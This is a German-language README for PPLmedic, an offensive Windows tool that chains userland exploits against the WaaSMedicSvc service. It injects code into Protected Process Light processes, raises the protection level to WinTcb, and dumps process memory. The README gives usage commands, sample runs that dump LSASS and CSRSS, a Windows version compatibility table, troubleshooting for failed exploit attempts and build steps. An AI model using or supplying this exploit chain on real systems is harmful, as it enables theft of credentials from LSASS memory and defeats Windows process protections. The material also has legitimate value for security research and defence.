
Den Speicher einer beliebigen PPL mit einer Userland-Exploit-Kette auslesen
Dieses Tool implementiert eine Userland-Exploit-Kette zum Injizieren von beliebigem Code in eine PPL mit dem Signaturtyp Windows und zur Erhöhung auf den Signaturtyp WinTcb. Diese Techniken wurden ursprünglich von James Forshaw (auch bekannt als @tiraniddo) in seinem Blogbeitrag Injecting Code into Windows Protected Processes using COM - Part 1 vorgestellt.
Um mehr über dieses Tool zu erfahren, solltest du den zugehörigen Blogbeitrag hier lesen:
Ich würde dieses Tool als fortgeschrittenen Proof-of-Concept einstufen. Du solltest dir zweimal überlegen, ob du es bei einem realen Einsatz verwendest. Die Verwendung ist sicher, solange es nicht unterbrochen wird, was beispielsweise in Anwesenheit eines EDR nicht garantiert werden kann.
Es verändert wichtige Registrierungsschlüssel, die mit dem Windows Update Medic-Dienst zusammenhängen. Im schlimmsten Fall, wenn diese Registrierungsschlüssel nicht ordnungsgemäß wiederhergestellt werden, funktioniert dieser Dienst nicht mehr richtig, aber das wird das Betriebssystem nicht zum Absturz bringen.
Voraussetzungen:
SeDebugPrivilegeREM Use the option -p to elevate from PPL-Windows to PPL-WinTcb
PPLmedic.exe dump "PID" "C:\FULL\PATH\TO\DUMP.dmp" [-p]
Eine PPL-Windows oder darunter dumpen (z. B.: LSASS):
C:\WINDOWS\system32>tasklist | findstr lsass
lsass.exe 756 Services 0 20,028 K
C:\WINDOWS\system32>C:\Temp\PPLmedic.exe dump 756 c:\Temp\lsass.dmp
[...]
[+] Payload DLL successfully loaded after 272 attempts!
[*] Deleting 272 temporary directories created by the service...
[*] Connected to remote process.
[+] Remote process protection level: 0x00000002 (PsProtectedSignerWindows-Light)
[+] Memory dump of process with PID 756 successful: c:\Temp\lsass.dmp
[...]
Eine PPL-WinTcb dumpen (z. B.: CSRSS):
C:\WINDOWS\system32>tasklist | findstr csrss
csrss.exe 520 Services 0 26,420 K
csrss.exe 608 Console 1 57,548 K
C:\WINDOWS\system32>C:\Temp\PPLmedic.exe dump 520 c:\Temp\csrss.dmp -p
[...]
[+] Payload DLL successfully loaded after 181 attempts!
[*] Deleting 181 temporary directories created by the service...
[*] Connected to remote process.
[+] Remote process protection level: 0x00000002 (PsProtectedSignerWindows-Light)
[*] Attempting to get a higher process protection level...
[+] Target file 'C:\Users\LAB-AD~1\AppData\Local\Temp\faultrep.dll' should now be cache signed (level=12 - Windows).
[*] Connected to remote process.
[+] Remote process protection level: 0x00000000 (PsProtectedSignerWinTcb-Light)
[+] Memory dump of process with PID 520 successful: c:\Temp\csrss.dmp
[...]
| Windows-Version | PPL-Windows | PPL-WinTcb | Beobachtung |
|---|---|---|---|
| Windows 10 22H2 Build 19045.2673 | ✔ | ✔ | N/A |
| Windows 11 22H2 Build 22621.1344 | ⚠ | ❌ | Häufiger Dienstabsturz + Der Exploit für die gefälschte Cache-Signatur scheint nicht zu funktionieren. |
| Windows Server 2019 Version 1809 Build 17763.4010 | ✔ | ✔ | N/A |
| Windows Server 2022 Version 21H2 Build 20348.1547 | ✔ | ✔ | N/A |
Der folgende Fehler tritt auf, weil der Exploit beim Versuch, ein entferntes TaskHandler-COM-Objekt zu erstellen, eine Zeitüberschreitung hatte. Das ist normalerweise ein Zeichen dafür, dass der Zieldienst WaaSMedicSvc abgestürzt ist. Dies kann mit der nächsten Meldung bestätigt werden: [!] Service WaaSMedicSvc is no longer running. Du solltest versuchen, das Tool erneut auszuführen.
C:\Windows\System32>C:\Temp\PPLmedic.exe dump 1234 C:\Temp\1234.dmp
[...]
[*] Trying to write a valid object directory handle...
[*] Attempt 100/1000 (10%)
[*] Attempt 200/1000 (20%)
[-] Unexpected error or timeout while trying to create a remote TaskHandler instance.
[!] Service WaaSMedicSvc is no longer running, it probably crashed because of an invalid handle value.
[...]
Der folgende Fehler tritt auf, weil der Exploit es nicht geschafft hat, in weniger als 1000 Versuchen ein gültiges Objektverzeichnis zu schreiben. Dieses Limit dient als Sicherheitsvorkehrung, um zu verhindern, dass der Zieldienst zu viele Ressourcen verbraucht. Du solltest versuchen, das Tool erneut auszuführen.
C:\Windows\System32>C:\Temp\PPLmedic.exe dump 1234 C:\Temp\1234.dmp
[...]
[*] Trying to write a valid object directory handle...
[...]
[*] Attempt 1000/1000 (100%)
[-] Reached the maximum number of attempts.
[...]
Der folgende Fehler tritt auf, weil beim Aufruf von LaunchDetectionOnly oder LaunchRemediationOnly ein unerwarteter Fehler aufgetreten ist. Das sollte allerdings recht selten vorkommen. Du solltest versuchen, das Tool erneut auszuführen.
C:\Windows\System32>C:\Temp\PPLmedic.exe dump 1234 C:\Temp\1234.dmp
[...]
[*] Trying to write a valid object directory handle...
[*] Attempt 100/1000 (10%)
[*] Attempt 200/1000 (20%)
[-] Failed to write LdrpKnownDllDirectoryHandle value (thread exit code: 0x800706ba).
[...]
Der folgende Fehler tritt auf, weil der Exploit die Payload-DLL nicht cache-signieren konnte. Der auf der Katalogdatei gesetzte Oplock wurde wahrscheinlich nie ausgelöst, weil sie bereits vom Kernel geöffnet worden war. Du kannst versuchen, das Tool zu einem späteren Zeitpunkt erneut auszuführen (für Windows 11 siehe Abschnitt „Tests“).
C:\Windows\System32>C:\Temp\PPLmedic.exe dump 1234 C:\Temp\1234.dmp -p
[...]
[*] Trying to write a valid object directory handle...
[+] Payload DLL successfully loaded after 1 attempts!
[*] Connected to remote process.
[+] Remote process protection level: 0x00000002 (PsProtectedSignerWindows-Light)
[*] Attempting to get a higher process protection level...
[-] Failed to cache sign 'C:\Users\LAB-AD~1\AppData\Local\Temp\faultrep.dll' (LE: 997).
[...]
Diese Visual-Studio-Projektmappe umfasst zwei Projekte (die ausführbare Datei und eine Payload-DLL), die in einer bestimmten Reihenfolge kompiliert werden müssen. Alles ist vorkonfiguriert, sodass du nur diesen einfachen Anweisungen folgen musst. Die kompilierte Payload-DLL wird automatisch in die endgültige ausführbare Datei eingebettet.
Release / x64 (x86 wird nicht unterstützt!).Build > Build Solution.